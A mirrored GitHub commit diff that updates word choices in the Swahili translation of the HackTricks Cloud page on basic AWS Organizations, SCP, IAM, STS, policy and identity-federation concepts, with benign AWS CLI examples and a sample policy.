mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -14,7 +14,7 @@ Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitak
|
||||
|
||||
Kwa hivyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama.
|
||||
|
||||
- **Akaunti ya usimamizi (akaunti ya mzizi)** ndiyo akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo:
|
||||
- **Akaunti ya usimamizi (akaunti ya mzizi)** ni akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo:
|
||||
|
||||
- Kuunda akaunti katika shirika
|
||||
- Kualika akaunti nyingine zilizopo katika shirika
|
||||
@@ -24,7 +24,7 @@ Kwa hivyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia akaunti
|
||||
- Kuwezesha ujumuishaji na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika.
|
||||
- Inawezekana kuingia kama mtumiaji mzizi kwa kutumia barua pepe na nenosiri vilivyotumika kuunda akaunti hii ya mzizi/shirika.
|
||||
|
||||
Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipia** na inawajibika kulipa malipo yote yanayokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika.
|
||||
Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipia** na inawajibika kulipa ada zote zinazokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika.
|
||||
|
||||
- **Akaunti za wanachama** zinaunda akaunti zote nyingine katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee.
|
||||
- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hazitakuwa na uwezo wa kudhibiti bili (lakini zinaweza kupewa ufikiaji wa hiyo).
|
||||
@@ -40,13 +40,13 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
**Sera ya kudhibiti huduma (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazipati ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP na mzizi wa shirika lako au OU, **SCP inakadiria ruhusa kwa viumbe katika akaunti za wanachama**.
|
||||
**Sera ya kudhibiti huduma (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazipati ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP kwa mzizi wa shirika lako au OU, **SCP inakadiria ruhusa kwa viumbe katika akaunti za wanachama**.
|
||||
|
||||
Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya kitu. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\
|
||||
Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka SCPs (akaunti ya mkuu haiwezi kuzuiwa).
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba **SCPs zinazuia tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataa `s3:GetObject` haitazuia watu **kupata mfuko wa S3 wa umma** katika akaunti yako.
|
||||
> Kumbuka kwamba **SCPs zinazuia tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataa `s3:GetObject` haitazuia watu **kupata ufikiaji wa S3 bucket ya umma** katika akaunti yako.
|
||||
|
||||
Mifano ya SCP:
|
||||
|
||||
@@ -82,7 +82,7 @@ Kumbuka kwamba kuna sehemu 4 katika AWS lakini njia 3 tu za kuziita:
|
||||
|
||||
## IAM - Usimamizi wa Utambulisho na Ufikiaji
|
||||
|
||||
IAM ni huduma itakayokuruhusu kusimamia **Uthibitishaji**, **Idhini** na **Udhibiti wa Ufikiaji** ndani ya akaunti yako ya AWS.
|
||||
IAM ni huduma ambayo itakuruhusu kusimamia **Uthibitishaji**, **Idhini** na **Udhibiti wa Ufikiaji** ndani ya akaunti yako ya AWS.
|
||||
|
||||
- **Uthibitishaji** - Mchakato wa kufafanua utambulisho na uthibitisho wa utambulisho huo. Mchakato huu unaweza kugawanywa katika: Utambulisho na uthibitisho.
|
||||
- **Idhini** - Inabainisha ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa.
|
||||
@@ -100,7 +100,7 @@ Kutoka kwa mtazamo wa usalama, inapendekezwa kuunda watumiaji wengine na kuepuka
|
||||
|
||||
### [Watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Mtumiaji wa IAM ni kiumbe ambacho unaunda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na hati (nenosiri na funguo za ufikiaji hadi mbili).
|
||||
Mtumiaji wa IAM ni kiumbe ambacho unaunda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na ithibati (nenosiri na funguo za ufikiaji hadi mbili).
|
||||
|
||||
Unapounda mtumiaji wa IAM, unampa **idhini** kwa kumfanya kuwa **mwanachama wa kundi la watumiaji** ambalo lina sera za idhini zinazofaa (inapendekezwa), au kwa **kuambatisha sera moja kwa moja** kwa mtumiaji.
|
||||
|
||||
@@ -111,22 +111,22 @@ Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Token
|
||||
- **Kitambulisho cha Funguo za Ufikiaji**: herufi 20 za bahati nasibu za alphanumeric kubwa kama AKHDNAPO86BSHKDIRYT
|
||||
- **Kitambulisho cha funguo za siri za ufikiaji**: herufi 40 za bahati nasibu za kubwa na ndogo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha vitambulisho vya funguo za siri vilivyopotea).
|
||||
|
||||
Wakati wowote unahitaji **kubadilisha Funguo za Ufikiaji** huu ndio mchakato unapaswa kufuata:\
|
||||
Kila wakati unahitaji **kubadilisha Funguo za Ufikiaji** huu ndio mchakato unapaswa kufuata:\
|
||||
_Unda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ya awali kama isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_
|
||||
|
||||
### MFA - Uthibitishaji wa Vigezo Vingi
|
||||
|
||||
Inatumika kuunda **kipengele cha ziada kwa uthibitishaji** pamoja na mbinu zako zilizopo, kama vile nenosiri, hivyo, kuunda kiwango cha uthibitishaji wa vigezo vingi.\
|
||||
Unaweza kutumia **programu ya bure ya mtandaoni au kifaa halisi**. Unaweza kutumia programu kama uthibitishaji wa google bure kuanzisha MFA katika AWS.
|
||||
Inatumika ku **unda kipengele cha ziada kwa uthibitishaji** pamoja na mbinu zako zilizopo, kama nenosiri, hivyo, kuunda kiwango cha uthibitishaji wa vigezo vingi.\
|
||||
Unaweza kutumia **programu ya bure ya virtual au kifaa halisi**. Unaweza kutumia programu kama uthibitishaji wa google bure kuanzisha MFA katika AWS.
|
||||
|
||||
Sera zenye masharti ya MFA zinaweza kuambatishwa kwa yafuatayo:
|
||||
|
||||
- Mtumiaji wa IAM au kundi
|
||||
- Rasilimali kama vile ndoo ya Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS
|
||||
- Sera ya kuaminika ya jukumu la IAM ambalo linaweza kuchukuliwa na mtumiaji
|
||||
- Sera ya kuamini ya jukumu la IAM ambalo linaweza kuchukuliwa na mtumiaji
|
||||
|
||||
Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hiyo itakupa token yenye taarifa kuhusu MFA.\
|
||||
Kumbuka kwamba **`AssumeRole` hati hazina taarifa hii**.
|
||||
Kumbuka kwamba **`AssumeRole` ithibati hazina taarifa hii**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
@@ -136,28 +136,28 @@ Kama [**ilivyoelezwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id
|
||||
|
||||
Kikundi cha [mtumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ni njia ya **kuunganisha sera kwa watumiaji wengi** kwa wakati mmoja, ambayo inaweza kurahisisha usimamizi wa ruhusa za watumiaji hao. **Majukumu na vikundi haviwezi kuwa sehemu ya kundi**.
|
||||
|
||||
Unaweza kuunganisha **sera inayotegemea utambulisho kwa kikundi cha mtumiaji** ili watumiaji wote katika kikundi cha mtumiaji **wapate ruhusa za sera**. Huwezi **kutambua** kikundi cha **mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu vikundi vinahusiana na ruhusa, si uthibitisho, na wakuu ni entiti za IAM zilizothibitishwa.
|
||||
Unaweza kuunganisha **sera ya msingi wa utambulisho kwa kikundi cha mtumiaji** ili watumiaji wote katika kikundi cha mtumiaji **wapate ruhusa za sera**. Huwezi **kutambua** kikundi cha **mtumiaji** kama **`Principal`** katika **sera** (kama sera ya msingi wa rasilimali) kwa sababu vikundi vinahusiana na ruhusa, si uthibitishaji, na wakuu ni entiti za IAM zilizothibitishwa.
|
||||
|
||||
Hapa kuna sifa muhimu za vikundi vya watumiaji:
|
||||
|
||||
- Kikundi cha **mtumiaji** kinaweza **kuhifadhi watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya vikundi vingi**.
|
||||
- **Vikundi vya watumiaji haviwezi kuingizwa**; vinaweza kuhifadhi watumiaji tu, si vikundi vingine vya watumiaji.
|
||||
- Kikundi cha mtumiaji **kinaweza kuwa na watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya vikundi vingi**.
|
||||
- **Vikundi vya watumiaji haviwezi kuingizwa**; vinaweza kuwa na watumiaji tu, si vikundi vingine vya watumiaji.
|
||||
- Hakuna **kikundi cha mtumiaji cha chaguo-msingi ambacho kinajumuisha watumiaji wote katika akaunti ya AWS**. Ikiwa unataka kuwa na kikundi cha mtumiaji kama hicho, lazima uunde na kupewa kila mtumiaji mpya.
|
||||
- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama idadi ya vikundi, na idadi ya vikundi ambavyo mtumiaji anaweza kuwa mwanachama, zimepangwa. Kwa maelezo zaidi, angalia [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya vikundi, na idadi ya vikundi ambavyo mtumiaji anaweza kuwa mwanachama, zimepangwa. Kwa maelezo zaidi, angalia [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotaja kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. Mtumiaji wa **IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayeingia kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM.
|
||||
**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotaja kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akidi yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. Mtumiaji wa **IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayesaini kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM.
|
||||
|
||||
Jukumu la IAM linajumuisha **aina mbili za sera**: **sera ya kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na **sera ya ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini kinaweza kufikiwa**.
|
||||
|
||||
#### AWS Security Token Service (STS)
|
||||
|
||||
AWS Security Token Service (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda mfupi, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa:
|
||||
AWS Security Token Service (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akidi za muda mfupi, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa:
|
||||
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Akreditif za muda mfupi hutumiwa hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda mfupi ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda mfupi ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali.
|
||||
**Akidi za muda mfupi zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akidi za muda mfupi ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akidi zilizopunguzwa zaidi. Faida ya akidi za muda mfupi ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akidi hizo ni halali.
|
||||
|
||||
### Policies
|
||||
|
||||
@@ -169,7 +169,7 @@ Zinatumiwa kutoa ruhusa. Kuna aina 2:
|
||||
- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako mwenyewe), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako mwenyewe.
|
||||
|
||||
Kwa **default access** ni **imekataliwa**, ufikiaji utawekwa ikiwa jukumu maalum limeainishwa.\
|
||||
Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambazo zinaruhusiwa kwa chaguo-msingi).
|
||||
Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akidi za usalama za mizizi ya akaunti ya AWS (ambazo zinaruhusiwa kwa chaguo-msingi).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -202,7 +202,7 @@ Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moj
|
||||
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Si rasilimali zote za AWS zinazozisapoti**.
|
||||
Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Si rasilimali zote za AWS zinazoziunga mkono**.
|
||||
|
||||
Ikiwa chombo hakina kukataa wazi juu yao, na sera ya rasilimali inawapa ufikiaji, basi wanaruhusiwa.
|
||||
|
||||
@@ -210,13 +210,13 @@ Ikiwa chombo hakina kukataa wazi juu yao, na sera ya rasilimali inawapa ufikiaji
|
||||
|
||||
Mipaka ya IAM inaweza kutumika **kudhibiti ruhusa ambazo mtumiaji au jukumu linapaswa kuwa na ufikiaji**. Kwa njia hii, hata kama seti tofauti za ruhusa zinatolewa kwa mtumiaji na **sera tofauti**, operesheni itashindwa ikiwa atajaribu kuzitumia.
|
||||
|
||||
Pazia ni sera tu iliyounganishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa pazia linaonyesha anaweza kusoma tu S· buckets, hiyo ndiyo kiwango cha juu anachoweza kufanya.
|
||||
Mpaka ni sera tu iliyounganishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa mpaka inaonyesha anaweza kusoma tu S· buckets, hiyo ndiyo kiwango cha juu anachoweza kufanya.
|
||||
|
||||
**Hii**, **SCPs** na **kufuata kanuni ya ruhusa ndogo** ndiyo njia za kudhibiti kwamba watumiaji hawana ruhusa zaidi ya zile anazohitaji.
|
||||
|
||||
### Session Policies
|
||||
|
||||
Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **pazia la IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoainishwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina).
|
||||
Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **mpaka wa IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoainishwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina).
|
||||
|
||||
Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye ruhusa nyingi, anaweza kuzuia ruhusa kuwa zile tu zilizoainishwa katika sera ya kikao endapo kikao kitakumbwa na hatari.
|
||||
```bash
|
||||
@@ -226,24 +226,24 @@ aws sts assume-role \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Kumbuka kwamba kwa kawaida **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [roles za cognito zisizo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **akiba za kikao zenye sera ya kikao** ambayo inazuia huduma ambazo kikao kinaweza kufikia [**katika orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Kumbuka kwamba kwa kawaida **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [roles za cognito zisizo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **vithibitisho vya kikao na sera ya kikao** ambayo inazuia huduma ambazo kikao kinaweza kufikia [**katika orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Hivyo, ikiwa kwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**.
|
||||
|
||||
### Ushirikiano wa Utambulisho
|
||||
|
||||
Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni wa nje** kwa AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akiba za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\
|
||||
Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa vithibitisho vya mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\
|
||||
Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuwapa watumiaji ndani yake ufikiaji wa AWS.
|
||||
|
||||
Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloaminika) kwa Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka jukwaa lililoaminika anafikia AWS, atakuwa akifikia kama jukumu lililotajwa.
|
||||
Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloaminika) kwa Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka kwenye jukwaa lililoaminika anafikia AWS, atakuwa akifanya hivyo kama jukumu lililotajwa.
|
||||
|
||||
Hata hivyo, kwa kawaida utataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa lile linaloruhusu watumiaji kuchukua jukumu moja au jingine.
|
||||
Hata hivyo, kwa kawaida utataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa likiruhusu watumiaji kuchukua jukumu moja au jingine.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Kituo cha Utambulisho wa IAM
|
||||
|
||||
Kituo cha Utambulisho wa AWS IAM (mfuatano wa AWS Single Sign-On) kinapanua uwezo wa Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) kutoa **mahali pa kati** ambalo linaunganisha **usimamizi wa watumiaji na ufikiaji wao kwa akaunti za AWS** na programu za wingu.
|
||||
Kituo cha Utambulisho wa AWS IAM (mfuatano wa AWS Single Sign-On) kinapanua uwezo wa Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) ili kutoa **mahali pa kati** ambalo linaunganisha **usimamizi wa watumiaji na ufikiaji wao kwa akaunti za AWS** na programu za wingu.
|
||||
|
||||
Domeni la kuingia litakuwa kitu kama `<user_input>.awsapps.com`.
|
||||
|
||||
@@ -251,7 +251,7 @@ Ili kuingia watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
|
||||
|
||||
- Kituo cha Utambulisho: Watumiaji wa kawaida wa AWS
|
||||
- Active Directory: Inasaidia viunganishi tofauti
|
||||
- Mtoa Huduma wa Utambulisho wa Nje: Watumiaji wote na makundi yanatoka kwa Mtoa Huduma wa Utambulisho wa Nje (IdP)
|
||||
- Mtoa Huduma wa Utambulisho wa Nje: Watumiaji na makundi yote yanatoka kwa Mtoa Huduma wa Utambulisho wa Nje (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -265,14 +265,14 @@ Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoanzishwa kup
|
||||
|
||||
Hivyo, hata kama unaona majukumu 2 yenye sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**, **haimaanishi ina ruhusa sawa**.
|
||||
|
||||
### Uaminifu na Majukumu ya Akaunti Mbalimbali
|
||||
### Uaminifu na Majukumu ya Mipaka
|
||||
|
||||
**Mtumiaji** (anayeamini) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera kadhaa na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminiwa) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza tu Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti unayoimiliki na akaunti ya AWS ya upande wa tatu.\
|
||||
Inapendekezwa **kueleza mtumiaji ambaye anaaminika na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu vibaya.
|
||||
**Mtumiaji** (anayeamini) anaweza kuunda Jukumu la Mipaka ya Mipaka lenye sera kadhaa na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminiwa) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza tu Jukumu jipya na uchague Jukumu la Mipaka. Majukumu ya Ufikiaji wa Mipaka ya Mipaka yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti ambayo unamiliki na akaunti ya AWS ya upande wa tatu.\
|
||||
Inapendekezwa **kueleza mtumiaji ambaye anaaminiwa na si kuweka kitu chochote cha jumla** kwa sababu ikiwa sivyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Haitambuliwi:
|
||||
Haikubali:
|
||||
|
||||
- Mahusiano ya Uaminifu
|
||||
- Kituo cha Usimamizi wa AD
|
||||
@@ -282,36 +282,36 @@ Haitambuliwi:
|
||||
- Upanuzi wa Mpango
|
||||
- Hakuna ufikiaji wa moja kwa moja kwa OS au Mifano
|
||||
|
||||
#### Ushirikiano wa Mtandao au Uthibitishaji wa OpenID
|
||||
#### Ushirikiano wa Mtandao au Uthibitisho wa OpenID
|
||||
|
||||
Programu inatumia AssumeRoleWithWebIdentity kuunda akiba za muda. Hata hivyo, hii haitoi ufikiaji wa konsoli ya AWS, bali ufikiaji wa rasilimali ndani ya AWS.
|
||||
Programu inatumia AssumeRoleWithWebIdentity kuunda vithibitisho vya muda. Hata hivyo, hii haisaidii ufikiaji wa konsoli ya AWS, bali ufikiaji wa rasilimali ndani ya AWS.
|
||||
|
||||
### Chaguzi Nyingine za IAM
|
||||
|
||||
- Unaweza **kufafanua mipangilio ya sera ya nywila** kama urefu wa chini na mahitaji ya nywila.
|
||||
- Unaweza **kupakua "Ripoti ya Akiba"** yenye taarifa kuhusu akiba za sasa (kama wakati wa kuunda mtumiaji, je, nywila imewezeshwa...). Unaweza kuunda ripoti ya akiba mara kwa mara kama mara moja kila **saa nne**.
|
||||
- Unaweza **kupakua "Ripoti ya Vithibitisho"** yenye taarifa kuhusu vithibitisho vya sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewezeshwa...). Unaweza kuunda ripoti ya vithibitisho mara kwa mara kama mara moja kila **saa nne**.
|
||||
|
||||
Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Pamoja na IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Pamoja na sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini**.
|
||||
|
||||
### Viambatisho vya ID vya IAM
|
||||
### Awali za ID za IAM
|
||||
|
||||
Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) unaweza kupata **viambatisho vya ID vya IAM** vya funguo kulingana na asili yao:
|
||||
Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) unaweza kupata **awali za ID za IAM** za funguo kulingana na asili yao:
|
||||
|
||||
| Identifier Code | Maelezo |
|
||||
| Kode ya Kitambulisho | Maelezo |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
